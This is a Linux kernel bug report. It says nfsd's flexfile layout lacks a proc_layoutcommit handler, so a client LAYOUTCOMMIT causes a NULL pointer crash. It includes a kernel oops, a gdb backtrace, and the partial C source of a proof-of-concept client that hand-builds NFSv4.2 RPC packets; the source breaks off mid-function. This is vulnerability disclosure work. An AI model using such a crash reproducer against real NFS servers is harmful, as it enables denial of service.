nfsd's ff_layout_ops.proc_layoutcommit is NULL

[rtm@csail.mit.edu]

[-- Attachment #1: Type: text/plain, Size: 1481 bytes --]

So if a client sends a flexfile LAYOUTCOMMIT to a pNFS server, it will
crash here in nfsd4_layoutcommit():

        nfserr = ops->proc_layoutcommit(inode, lcp);

I've attached a demo:
# cc nfsd155a.c
# ./a.out
...
[  643.202841] BUG: kernel NULL pointer dereference, address: 0000000000000000
[  643.203679] CPU: 8 UID: 0 PID: 1115 Comm: nfsd Not tainted 6.17.0-rc4-00231-gc8ed9b5c02a5 #28 PREEMPT(voluntary)

#0  nfsd4_layoutcommit (rqstp=0xffffffd6047cd000, cstate=0xffffffd60a062028, 
    u=0xffffffd60a022720) at fs/nfsd/nfs4proc.c:2529
#1  0xffffffff804b9768 in nfsd4_proc_compound (rqstp=0xffffffd6047cd000)
    at fs/nfsd/nfs4proc.c:2888
#2  0xffffffff804a0558 in nfsd_dispatch (rqstp=0xffffffd6047cd000)
    at fs/nfsd/nfssvc.c:991
#3  0xffffffff81034022 in svc_process_common (
    rqstp=rqstp@entry=0xffffffd6047cd000) at net/sunrpc/svc.c:1428
#4  0xffffffff81034522 in svc_process (rqstp=rqstp@entry=0xffffffd6047cd000)
    at net/sunrpc/svc.c:1568
#5  0xffffffff810469a0 in svc_handle_xprt (xprt=0xffffffd60449d800, 
    rqstp=0xffffffd6047cd000) at net/sunrpc/svc_xprt.c:817
#6  svc_recv (rqstp=rqstp@entry=0xffffffd6047cd000)
    at net/sunrpc/svc_xprt.c:874
#7  0xffffffff8049f58c in nfsd (vrqstp=0xffffffd6047cd000)
    at fs/nfsd/nfssvc.c:926

(gdb) print ops
$1 = (const struct nfsd4_layout_ops *) 0xffffffff81366130 <ff_layout_ops>
(gdb) print ops->proc_layoutcommit
$2 = (__be32 (*)(struct inode *, struct nfsd4_layoutcommit *)) 0x0

Robert Morris
rtm@mit.edu


[-- Attachment #2: nfsd155a.c --]
[-- Type: application/octet-stream, Size: 48713 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>

char obuf[10240];
int oi = 0;

int s; // socket fd
int xid = 1;
unsigned long long clientid; // server tells us in exchange_id reply
unsigned int sequenceid;
unsigned int slot0sequenceid = 1;
char sessionid[16];

struct stateid {
  int seqid;
  char other[12];
};
struct stateid sid; // most recent received

struct fh {
  int len;
  char fh[256];
};
struct fh fh; // most recent received

void
sys(const char *cmd)
{
  volatile int junk = system(cmd);
  (void) junk;
}

static unsigned long symx() {
  return 0;
}

int symstart = -1;

void put_fattr4_one();
void put_fattr4_many();

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, const char *buf)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while(n & 3){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_opaque_repeat(int n, char c)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = c;
  while((n%4)!=0){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sessionid(const char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
put_reset()
{
  oi = 4; // leave room for packet length
}

void
send_send()
{
  assert(oi >= 4);
  assert((oi % 4) == 0);
  assert(oi <= sizeof(obuf));
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  if(symstart != -1){
    for(int i = symstart; i < oi; i += 8)
      *(long long *)(obuf + i) ^= symx();
  }
  *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
  printf("writing %d xid %d\n", oi, ntohl(*(int*)(obuf+4)));
  if(write(s, obuf, oi) <= 0) perror("write");
  oi = 0;
  symstart = -1;
}

void
put_rpc_header(int proc)
{
  put_reset();
  put32(xid++);
  put32(0); // mtype=CALL
  put32(2); // rpc version
  put32(100003); // prog #
  put32(4); // prog vers
  put32(proc); // proc
  if(proc == 0){
    put32(0); // cred type
    put32(0); // cred len
  } else {
    put32(1); // cred type AUTH_SYS / AUTH_UNIX
    put32(32); // cred length
    put32(0); // stamp
    put_opaque(9, "localhost");
    put32(65534); // uid
    put32(65534); // gid
    put32(0); // # gids
  }
  put32(0); // verf type
  put32(0); // verf len
}

void
put_compound(int n)
{
  put_rpc_header(1);

  // compound header
  put_opaque(0, ""); // tag
  put32(2); // minor version
  put32(n); // # operations in the compound
}

// most COMPOUNDs are required to start with a SEQUENCE.
void
put_sequence()
{
  put32(53); // SEQUENCE
  put_sessionid(sessionid); // sessionid (16 bytes)
  put32(slot0sequenceid++); // sequenceid ???
  put32(0); // slotid
  put32(0); // highest_slotid
  put32(0); // cachethis
}

void
put_reclaim_complete()
{
  put32(58); // RECLAIM_COMPLETE
  put32(0); // 0 means global, 1 means just current fh
}


char ibuf[10240];
int ii;
int ilen;

int
readn(int fd, void *xbuf, int n)
{
  char *buf = (char *) xbuf;
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

unsigned int
parse32()
{
  if(ii >= ilen){
    printf("parsed beyond the end of the input\n");
    return 0;
  }
  unsigned int x = *(int*)(ibuf+ii);
  ii += 4;
  return ntohl(x);
}

unsigned long long
parse64()
{
  unsigned long long hi = parse32();
  unsigned long long lo = parse32();
  return (hi << 32) | lo;
}

// sessionid4 -- 16 bytes
void
parse_sessionid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

// sessionid4 -- 16 bytes
void
parse_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    if(sid)
      sid[i] = ibuf[ii];
    ii++;
  }
}

unsigned int
parse_opaque(char *buf)
{
  if(buf)
    buf[0] = 0;
  int nominal_n = parse32();
  if(nominal_n > 4096){
    printf("crazy opaque length %d\n", nominal_n);
    return 0;
  }
  int real_n = nominal_n;
  while((real_n%4) != 0) real_n += 1;
  for(int i = 0; i < real_n; i++){
    if(buf && i < real_n)
      buf[i] = ibuf[ii];
    ii++;
  }
  return nominal_n;
}

void
parse_exchange_id_reply()
{
  int status = parse32();
  if(status != 0)
    printf("exchange_id reply status %d, not 0\n", status);
  clientid = parse64();
  sequenceid = parse32();
  printf("exchange_id clientid 0x%llx sequenceid 0x%x\n", clientid, sequenceid);
}

void
parse_create_session_reply()
{
  int status = parse32();
  if(status != 0)
    printf("create_session reply status %d, not 0\n", status);
  parse_sessionid(sessionid);
}

void
parse_sequence_reply()
{
  int status = parse32();
  if(status != 0)
    printf("sequence reply status %d, not 0\n", status);
  parse_sessionid(0);
  parse32(); // sequenceid
  parse32(); // slotid
  parse32(); // highest_slotid
  parse32(); // target_highest_slotid
  parse32(); // status_flags
}

void
parse_putrootfh_reply()
{
  int status = parse32();
  if(status != 0)
    printf("putrootfh_reply status %d\n", status);
}

void
parse_lookup_reply()
{
  int status = parse32();
  if(status != 0)
    printf("lookup_reply status %d\n", status);
}

void
parse_stateid()
{
  sid.seqid = parse32();
  for(int i = 0; i < 12; i++)
    sid.other[i] = ibuf[ii++];
}

void
parse_open_reply()
{
  int status = parse32();
  if(status != 0){
    printf("open status %d\n", status);
    return;
  }
  parse_stateid();
  parse32(); // change_info atomic
  parse64(); // change_info before
  parse64(); // change_info after
  parse32(); // rflags
  unsigned int bitwords = parse32(); // attrset
  for(int i = 0; i < bitwords; i++)
    parse32();
  int delegation_type = parse32(); // open_delegation4
  if(delegation_type == 0){
    // OPEN_DELEGATE_NONE
  } else if(delegation_type == 1){
    // OPEN_DELEGATE_READ
    // open_read_delegation4
    parse32(); // stateid seqid
    parse32(); // other
    parse32(); // other
    parse32(); // other
    parse32(); // recall
    // nfsace4
    parse32(); // nfsace4 type
    parse32(); // nfsace4 flag
    parse32(); // nfsace4 access_mark
    parse_opaque(0); // nfsace4 who
  } else if(delegation_type == 2){
    // OPEN_DELEGATE_WRITE
    parse32(); // stateid seqid
    parse32(); // other
    parse32(); // other
    parse32(); // other
    parse32(); // recall
    // nfs_space_limit4
    int limitby = parse32();
    if(limitby == 1){
      // NFS_LIMIT_SIZE
      parse64(); // filesize
    } else if(limitby == 2){
      // NFS_LIMIT_BLOCKS
      parse32(); // num_blocks
      parse32(); // bytes_per_block
    } else {
      printf("open reply, unknown limitby %d\n", limitby);
    }
    // nfsace4
    parse32(); // nfsace4 type
    parse32(); // nfsace4 flag
    parse32(); // nfsace4 access_mark
    parse_opaque(0); // nfsace4 who
  } else {
    printf("DID NOT understand delegation_type %d\n", delegation_type);
  }
}

void
parse_compound_reply()
{
  int stat = parse32(); // OK
  parse_opaque(0);
  int nops = parse32();
  printf("compound reply, nops %d, stat %d", nops, stat);
  if(stat > 0 && stat < 200){
    printf(" %s", strerror(stat));
  }
  printf("\n");
  for(int opi = 0; opi < nops && ii < ilen; opi++){
    int op = parse32();
    printf("reply for op %d\n", op);
    if(op == 53){
      parse_sequence_reply();
    } else if(op == 42){
      parse_exchange_id_reply();
    } else if(op == 43){
      parse_create_session_reply();
    } else if(op == 24){
      parse_putrootfh_reply();
    } else if(op == 15){
      parse_lookup_reply();
    } else if(op == 18){
      parse_open_reply();
    } else if(op == 26){
      int status = parse32();
      if(status != 0){
        printf("readdir status %d\n", status);
      } else {
        long long verf = parse64();
        int nentries = parse32();
        long long cookie = parse64();
        char name[1024];
        memset(name, 0, sizeof(name));
        parse_opaque(name);
        //printf("verf %llx *entries %d cookie %llx name %s\n", verf, nentries, cookie, name);
      }
      break;
    } else if(op == 34){
      int status = parse32();
      printf("setattr status %d\n", status);
      break;
    } else if(op == 22){
      // putfh
      int status = parse32();
      if(status != 0)
        printf("putfh status %d\n", status);
    } else if(op == 32){
      // savefh
      int status = parse32();
      if(status != 0)
        printf("savefh status %d\n", status);
    } else if(op == 10){
      // getfh
      int status = parse32();
      if(status == 0){
        fh.len = parse_opaque(fh.fh);
      } else {
        printf("getfh status %d\n", status);
      }
    } else if(op == 60){
      // copy
      int status = parse32();
      if(status != 0){
        printf("copy status %d\n", status);
      } else {
        int nid = parse32();
        if(nid > 0)
          parse_stateid();
      }
    } else if(op == 6){
      // CREATE
      int status = parse32();
      if(status != 0){
        printf("create status %d\n", status);
      } else {
        parse32(); // change_info atomic
        parse64(); // change_info before
        parse64(); // change_info after
        int na = parse32(); // bitmap4 size
        for(int i = 0; i < na; i++)
          parse32();
      }
    } else if(op == 74){
      // LISTXATTRS
      int status = parse32();
      if(status != 0){
        printf("listxattrs status %d\n", status);
      } else {
        parse64(); // nfs_cookie4
        int nnames = parse32();
        for(int i = 0; i < nnames; i++){
          char name[1024];
          int len = parse_opaque(name);
          name[len] = '\0';
          // printf("xattr %s\n", name);
        }
        parse32(); // bool lxr_eof
      }
    } else if(op == 50){
      // LAYOUTGET
      int status = parse32();
      if(status){
        printf("layoutget status %d\n", status);
      } else {
        parse32(); // bool logr_return_on_close
        parse_stateid();
      }
    } else {
      printf("reply for unknown op %d\n", op);
      break;
    }
  }
}

void
parse_callback(int xid)
{
  parse32(); // rpc version
  parse32(); // prog #
  parse32(); // prog vers
  int proc = parse32(); // proc
  parse32(); // auth flavor
  parse_opaque(0); // auth
  parse32(); // verf flavor
  parse_opaque(0); // verf
  printf("callback proc=%d\n", proc);

  oi = 0;
  put32(0); // placeholder
  put32(xid);
  put32(1); // REPLY
  put32(0); // MSG_ACCEPTED
  put32(0); // opaque_auth flavor = AUTH_NULL
  put32(0); // opaque_auth length
  put32(0); // SUCCESS
  int xoi = oi;
  if(proc == 0){
    // nop
  } else if(proc == 1){
    // compound
    parse_opaque(0); // tag
    parse32(); // minorversion
    parse32(); // callback_ident
    int nops = parse32();
    put32(0); // status
    put_opaque(0, ""); // tag
    put32(nops);
    for(int opi = 0; opi < nops; opi++){
      int op = parse32();
      xoi = oi;
      put32(op);
      if(op == 11){
        // CB_SEQUENCE
        char sid[16];
        parse_sid(sid);
        int seq = parse32(); // sequenceid
        int slot = parse32(); // slotid
        int hislot = parse32(); // highest_slotid
        parse32(); // cachethis
        int nrcl = parse32(); // csa_referring_call_lists<>
        for(int rci = 0; rci < nrcl; rci++){
          parse32(); // sessionid
          parse32();
          parse32();
          parse32();
          int nxxx = parse32(); // rcl_referring_calls<>
          for(int xi = 0; xi < nxxx; xi++){
            parse32(); // sequenceid
            parse32(); // slotid
          }
        }
        put_sid(sid);
        put32(seq); // sequenceid
        put32(slot); // slotid
        put32(hislot); // highest_slotid
        put32(hislot); // target_highest_slotid
      } else if(op == 4){
        printf("CB_RECALL\n");
        // stateid4
        parse32(); // seqid
        parse32(); // other
        parse32();
        parse32();
        parse32(); // truncate
        parse_opaque(0); // fh
        put32(0); // OK
      } else {
        printf("callback unknown op %d\n", op);
        break;
      }
    }
  } else {
    printf("callback: unknown proc %d\n", proc);
  }
  send_send();
}

void
parse_reply(int proc)
{
  int desired_xid = xid - 1;
 again:
  if(readn(s, &ilen, 4) < 0)
    return;
  ilen = ntohl(ilen);
  if((ilen & 0x80000000) == 0)
    printf("ilen is missing 0x80000000\n");
  ilen &= 0x7fffffff;
  if(ilen > sizeof(ibuf)){
    printf("huge packet %d\n", ilen);
    return;
  }
  if(readn(s, ibuf, ilen) < 0)
    return;
  ii = 0;
  int xxid = parse32(); // xid
  int mtype = parse32(); // 1 = REPLY
  if(mtype == 0){
    // CALL -- a callback
    parse_callback(xxid);
    goto again;
  }
  if(xxid != desired_xid){
    printf("xid mismatch, wanted 0x%x, got 0x%x, ilen %d, ii %d\n", desired_xid, xxid, ilen, ii);
  }
  if(mtype != 1)
    printf("unexpected mtype %d, expected 1 / REPLY\n", mtype);
  int stat = parse32(); // MSG_ACCEPTED
  if(stat != 0)
    printf("unexpected reply stat %d, expected 0 / MSG_ACCEPTED\n", stat);
  int flavor = parse32(); // auth flavor
  if(flavor != 0)
    printf("unexpected auth_flavor %d, expecting 0 / AUTH_NONE\n", flavor);
  parse_opaque(0); // verf
  stat = parse32(); // SUCCESS
  if(stat != 0)
    printf("unexpected stat %d, expected 0 / SUCCESS\n", stat);

  if(proc == 0){
    printf("got reply for proc %d\n", proc);
  } else if(proc == 1){
    parse_compound_reply();
  } else {
    printf("got unexpected reply for proc %d xid %d\n", proc, xxid);
  }
}

void
send_nop()
{
  put_rpc_header(0);
  send_send();
  parse_reply(0);
}

void
send_exchange_id(int dosym)
{
  put_compound(1);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(42); // operation 42: EXCHANGE_ID
  int co_verifier = 1;
#if !SYM
  co_verifier = getpid(); // needs to be unique
#endif
  put64(co_verifier); // verifier4
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
  put32(0x103);  // flags
  put32(0); // SP4_NONE
  put32(1); // length of client_impl_id
  put_opaque(10, "kernel.org"); // nii_domain
  put_opaque(4, "blah"); // nii_name
  put64(0); // nfstime4
  put32(0); // nfstime4
  send_send();
  parse_reply(1);
}

void
send_exchange_id_sym()
{
  put_compound(1);
  put32(42); // operation 42: EXCHANGE_ID
  put64(1); // verifier4
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // co_ownerid
  put32(0x103 ^ symx());  // flags
  unsigned int how = symx();
  put32(how);
  int xoi = oi;
  if(how == 0){ // SP4_NONE
  } else if(how == 1){ // SP4_MACH_CRED
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
  } else if(how == 2){ // SP4_SSV
    // ssp_ops
    put32(3);
    put32(0xffffffff);
    put32(0xffffffff);
    put32(0xffffffff);
    // ssp_hash_algs<>
    put32(2);
    put_opaque(8, "12345678");
    put_opaque(8, "1bcdefgh");
    // ssp_encr_algs<>
    put32(2);
    put_opaque(8, "12345678");
    put_opaque(8, "1bcdefgh");
    put32(99); // ssp_window
    put32(99); // ssp_num_gss_handles
  }
  unsigned int n = symx();
  if(n > 20) n = 20;
  put32(n); // length of client_impl_id
  for(int i = xoi; i < oi; i += 8)
    *(long long *)(obuf+i) ^= symx();
  for(int i = 0; i < n; i++){
    put_opaque_repeat(symx() & 0xff, 'x'); // nii_domain
    put_opaque_repeat(symx() & 0xff, 'y'); // nii_name
    put64(0); // nfstime4
    put32(0); // nfstime4
  }
  send_send();
  parse_reply(1);
}

void
send_create_session(int dosym)
{
  put_compound(1);
  put32(43); // CREATE_SESSION
  put64(clientid);
  put32(sequenceid++);
  if(dosym && symstart == -1)
    symstart = oi;
  put32(3); // flags, 1=FLAG_PERSIST, 2=CONN_BACK_CHAN
  // csa_fore_chan_attrs, csa_back_chan_attrs
  for(int i = 0; i < 2; i++){
    put32(0); // headerpadsize
    put32(4096); // maxrequestsize
    put32(4096); // maxresponsesize
    put32(4096); // maxresponsesize_cached
    put32(12); // maxoperations
    put32(16); // maxrequests
    put32(0); // ca_rdma_ird<>
  }
  put32(0x40000000); // csa_cb_program
  put32(1); // length of csa_sec_parms
#if 0
  put32(0); // AUTH_NONE
#else
  put32(1); // flavor AUTH_SYS
  put32(0); // stamp
  put_opaque(9, "localhost");
  put32(65534); // uid
  put32(65534); // gid
  put32(0); // # gids
#endif
  send_send();
  parse_reply(1);
}

void
send_sequence()
{
  put_compound(1);
  put_sequence();
  send_send();
  parse_reply(1);
}

void
send_reclaim_complete()
{
  put_compound(2);
  put_sequence();
  put_reclaim_complete();
  send_send();
  parse_reply(1);
}

void
put_rootfh()
{
  put32(24);
}

// struct OPEN4args {
//   seqid4          seqid;
//   uint32_t        share_access;
//   uint32_t        share_deny;
//   open_owner4     owner;
//   openflag4       openhow;
//   open_claim4     claim;
// };

void
put_open_existing(const char *filename, int share)
{
  put32(18);
  put32(0); // seqid
  put32(share); // share_access 1=READ 3=BOTH
  put32(0); // share_deny
  put64(clientid); // owner
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
  put32(0); // openhow OPEN4_NOCREATE
  put32(0); // CLAIM_NULL
  put_opaque(strlen(filename), filename);
}

void
put_open_create(char *name, int dosym)
{
  put32(18);
  put32(0); // seqid
  put32(3); // share_access BOTH
  put32(0); // share_deny
  put64(clientid); // owner
  put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
  put32(1); // openhow OPEN4_CREATE
  unsigned int mode = 0; // UNCHECKED4
  if(dosym)
    mode ^= symx();
  put32(mode);
  if(mode == 2 || mode == 3){
    put64(0); // verifier
  }
  if(mode != 2){
    if(dosym){
      //put_fattr4_one();
      put32(2);
      put64(symx());
      put32(16*8);
      for(int i = 0; i < 16; i++)
        put64(symx());
    } else {
      put32(2); // attr bitmap length
      put32(16); // attr bits
      put32(2); // attr bits
      put32(12); // attr len
      put32(0);
      put32(0);
      put32(420);
    }
  }
  unsigned int claim_type = 0; // CLAIM_NULL
  if(dosym)
    claim_type ^= symx();
  put32(claim_type);
  {
    char ff[256];
    sprintf(ff, "/tmp/%s", name);
    unlink(ff);
  }
  if(claim_type == 0 || claim_type == 3){
    put_opaque(strlen(name), name);
  } else if(claim_type == 1){ // CLAIM_PREVIOUS
    put32(symx());
  } else if(claim_type == 2){ // CLAIM_DELEGATE_CUR
    // stateid4
    put32(sid.seqid); // open_stateid, from previous OPEN
    for(int i = 0; i < 12; i++)
      obuf[oi++] = sid.other[i];
    put_opaque(strlen(name), name);
  } else if(claim_type == 4){ // CLAIM_FH
  } else if(claim_type == 5){ // CUR_FH
    put32(sid.seqid); // open_stateid, from previous OPEN
    for(int i = 0; i < 12; i++)
      obuf[oi++] = sid.other[i];
  } else if(claim_type == 6){ // PREV_FH
  }
}

void
put_readdir(int dosym)
{
  put32(26);
  if(dosym && symstart == -1)
    symstart = oi;
  put64(0); // cookie
  put64(0); // cookieverf
  put32(512); // dircount (bytes)
  put32(512); // maxcount (bytes)
  // bitmap
  put32(3);
  put32(0x0018091a);
  put32(0x00b0a23a);
  put32(0);
}

void
put_lookup(const char *name)
{
  put32(15);
  put_opaque(strlen(name), name);
}

//
// generates a fattr4 (bitmap4 then attrlist4).
//
void
put_fattr4(int xwords[], int fh)
{
  int words[3];
  for(int i = 0; i < 3; i++){
    words[i] = xwords[i];
  }
  int bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      int xoi = oi;
      if(a == 0){
        put32(2); // # bitmap words of supported attrs
        put32(0xffffffff);
        put32(0xffffffff);
      } else if(a == 1){
        int type = 1;
        if(fh == 0 || fh == 1)
          type = 2;
        put32(type); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(0); // fh_expire_type
      } else if(a == 3){
        put64(0); // change
      } else if(a == 4){
        put64(4096*10); // size
      } else if(a == 5){
        put32(1); // link support
      } else if(a == 6){
        put32(1); // symlink support
      } else if(a == 8){
        put64(1); // fsid major
        put64(1); // fsid minor
      } else if(a == 10){
        put32(1); // lease time
      } else if(a == 11){
        put32(0); // rdattr_error
      } else if(a == 12){
        // ACL
        int n = 2;
        put32(n);
        for(int i = 0; i < n; i++){
          put32(0); // type
          put32(0); // flag
          put32(0); // mask
          char who[32];
          memset(who, 0, sizeof(who));
          //strcpy(who, "1");
          //strcpy(who, "OWNER@");
          //strcpy(who, "GROUP@");
          strcpy(who, "bin@x.com");
          put_opaque(strlen(who), who);
        }
      } else if(a == 13){
        put32(0xf); // aclsupport
      } else if(a == 19){
        // filehandle
        int xfh = fh;
        put_opaque(4, (char*)&xfh); // fh
      } else if(a == 20){
        put64(fh); // fileid
      } else if(a == 24){
        // fs_locations
        put32(1);
        put_opaque(10, "abcde12345"); // pathname4
        put32(1); // locations<>
        put_opaque(10, "abcde12345"); // server
        put32(1);
        put_opaque(10, "abcde12345"); // rootpath
      } else if(a == 27){
        put64(0xffffffffffff); // max file size
      } else if(a == 28){
        put32(0xffff); // max link
      } else if(a == 29){
        put32(256); // max name
      } else if(a == 30){
        put64(10*4096); // max read
      } else if(a == 31){
        put64(10*4096); // max write
      } else if(a == 33){
        put32(0777); // mode
      } else if(a == 35){
        put32(3); // numlinks
      } else if(a == 36){
        put_opaque(6, "other"); // owner
      } else if(a == 37){
        put_opaque(6, "other"); // owner_group
      } else if(a == 41){
        put32(1); // rawdev major
        put32(1); // rawdev minor
      } else if(a == 45){
        put64(4096*10); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(0); // time delta seconds
        put32(0); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(0); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(1);
        put32(1); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        put32(2); // bitmap length
        put32(0xffffffff);
        put32(0xffffffff);
      } else {
        // unknown attr, delete from bitmap.
        words[a/32] &= ~(1 << (a % 32));
        *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
      }
    }
  }
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

void
put_fattr4_inner(int words[])
{
  int bitwords = 3;
  put32(bitwords);
  int word0i = oi;
  for(int i = 0; i < bitwords; i++)
    put32(words[i]);
  int leni = oi;
  put32(0); // placeholder for total length of attrs
  for(int a = 0; a < bitwords*32; a++){
    if(words[a/32] & (1 << (a % 32))){
      if(a == 0){
        int n = 3 ^ (symx() & 0xf);
        put32(n); // # bitmap words of supported attrs
        for(int i = 0; i < n; i++){
          put32(0xffffffff ^ symx());
        }
      } else if(a == 1){
        put32(1 ^ symx()); // NF4DIR=2 or NF4REG=1
      } else if(a == 2){
        put32(symx()); // fh_expire_type
      } else if(a == 3){
        put64(symx()); // change
      } else if(a == 4){
        put64(103 ^ symx()); // size
      } else if(a == 5){
        put32(symx()); // link support
      } else if(a == 6){
        put32(symx()); // symlink support
      } else if(a == 8){
        put64(symx()); // fsid major
        put64(symx()); // fsid minor
      } else if(a == 10){
        put32(symx()); // lease time
      } else if(a == 11){
        put32(symx()); // rdattr_error
      } else if(a == 12){
        // ACL
        int n = 1 ^ symx();
        put32(n);
        for(int i = 0; i < n && i < 2; i++){
          put32(symx()); // type
          put32(symx()); // flag
          put32(symx()); // mask
          char who[32];
          memset(who, 0, sizeof(who));
          // strcpy(who, "65534");
          //strcpy(who, "OWNER@");
          strcpy(who, "bin@x.com");
          *(long long*)who ^= symx();
          put_opaque(strlen(who), who);
        }
      } else if(a == 13){
        put32(0xf ^ symx()); // aclsupport
      } else if(a == 19){
        // filehandle
        int n = symx() & 0xff;
        put_opaque_repeat(n, 'x');
      } else if(a == 20){
        put64(symx() & 0x3); // fileid
      } else if(a == 24){
        // fs_locations
        put_opaque(10, "abcde12345"); // pathname4
        int n = symx() & 0x1f;
        put32(n); // locations<>
        for(int i = 0; i < n; i++){
          put_opaque_repeat(symx() & 0x1ff, 'x'); // server
          put_opaque_repeat(symx() & 0x1ff, 'y'); // rootpath
        }
      } else if(a == 27){
        put64(symx()); // max file size
      } else if(a == 28){
        put32(symx()); // max link
      } else if(a == 29){
        put32(symx()); // max name
      } else if(a == 30){
        put64(symx()); // max read
      } else if(a == 31){
        put64(symx()); // max write
      } else if(a == 33){
        put32(symx()); // mode
      } else if(a == 35){
        put32(symx()); // numlinks
      } else if(a == 36){
        put_opaque_repeat(symx() & 0x1ff, 'z'); // owner
      } else if(a == 37){
        put_opaque_repeat(symx() & 0x1ff, 'z'); // owner_group
      } else if(a == 41){
        put32(symx()); // rawdev major
        put32(symx()); // rawdev minor
      } else if(a == 45){
        put64(symx()); // space used
      } else if(a == 47){
        put64(0); // time access seconds
        put32(0); // nseconds
      } else if(a == 51){
        put64(symx()); // time delta seconds
        put32(symx()); // nseconds
      } else if(a == 52){
        put64(0); // time metadata seconds
        put32(0); // nseconds
      } else if(a == 53){
        put64(0); // time modify seconds
        put32(0); // nseconds
      } else if(a == 55){
        put64(symx()); // mounted_on_fileid ???
      } else if(a == 62){
        // fs_layout_types
        put32(symx());
        put32(symx()); // LAYOUT4_NFSV4_1_FILES
      } else if(a == 75){
        // FATTR4_SUPPATTR_EXCLCREAT
        int n = symx() & 0xf;
        put32(n); // # bitmap words of supported attrs
        for(int i = 0; i < n; i++){
          put32(symx());
        }
      } else {
        // unknown attr, delete from bitmap.
        words[a/32] &= ~(1 << (a % 32));
        *(int*)(obuf + word0i + 4*(a/32)) = htonl(words[a/32]);
      }
    }
  }
  for(int i = 0; i < 16; i++)
    put32(0xffffffff);
  *(int*)(obuf+leni) = htonl(oi - leni - 4);
}

//
// generate a symbolic fattr4, with multiple elements.
// tries to avoid generating illegal XDR.
//
void
put_fattr4_many()
{
  int bitwords = 3;
  int words[4];
  memset(words, 0, sizeof(words));
  int setme[] = { -1 };
  for(int i = 0; setme[i] >= 0; i++){
    int a = setme[i];
    words[a/32] |= 1 << (a % 32);
  }
  for(int i = 0; i < bitwords; i++){
    words[i] ^= symx();
  }
  put_fattr4_inner(words);
}

//
// a symbolic fattr4 with just one item set.
//
void
put_fattr4_one()
{
  int bitwords = 3;
  int words[4];
  memset(words, 0, sizeof(words));
  unsigned int bit = symx();
  if(bit >= 3*32)
    bit = 4;
  words[bit/32] |= 1 << (bit % 32);
  put_fattr4_inner(words);
}

void
put_getfh()
{
  put32(10);
}

void
put_setattr(int dosym)
{
  put32(34);
  put32(sid.seqid); // open_stateid, from previous OPEN
  for(int i = 0; i < 12; i++)
    obuf[oi++] = sid.other[i];
#if 0
  if(dosym && symstart == -1)
    symstart = oi + 4;
  int words[3];
  words[0] = words[1] = words[2] = 0;
  words[0] |= (1 << 12); // acl
  put_fattr4(words, 1);
#else
  put_fattr4_one();
#endif
}

void
put_savefh()
{
  put32(32);
}

// sharing should not be zero.
void
send_open_existing(const char *filename, int sharing)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_existing(filename, sharing);
  put_getfh();
  send_send();
  parse_reply(1);
}

void
send_open_create(char *name, int dosym)
{
  put_compound(5);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_open_create(name, dosym);
  put_getfh();
  send_send();
  parse_reply(1);
}

void
put_create_xxx()
{
  put32(6);
  int type = 5; // NFS4LNK
  type ^= symx();
  put32(type);
  if(type == 5){
    put_opaque(16, "abcdefgh12345678");
  } else if(type == 4 || type == 3){ // CHR, BLK
    put32(symx()); // major
    put32(symx()); // minor
  }
  unlink("/tmp/newlink");
  put_opaque(7, "newlink");
  put_fattr4_one();
  if(0){
    put32(3); // fattr4 bitmap size
    put32(0);
    put32(0);
    put32(0);
    put32(0); // opaque fattr4 size
  }
}

void
send_create()
{
  put_compound(4);
  put_sequence();
  put_rootfh();
  put_lookup("tmp");
  put_create_xxx();
  send_send();
  parse_reply(1);
}

void
put_mkdir(char *name, int dosym)
{
  put32(6); // CREATE
  if(dosym && symstart == -1)
    symstart = oi;
  put32(2); // createtype4 NFS4DIR
  put_opaque(strlen(name), name); // component4
  put32(3); // fattr4 bitmap size
  put32(0);
  put32(0);
  put32(0);
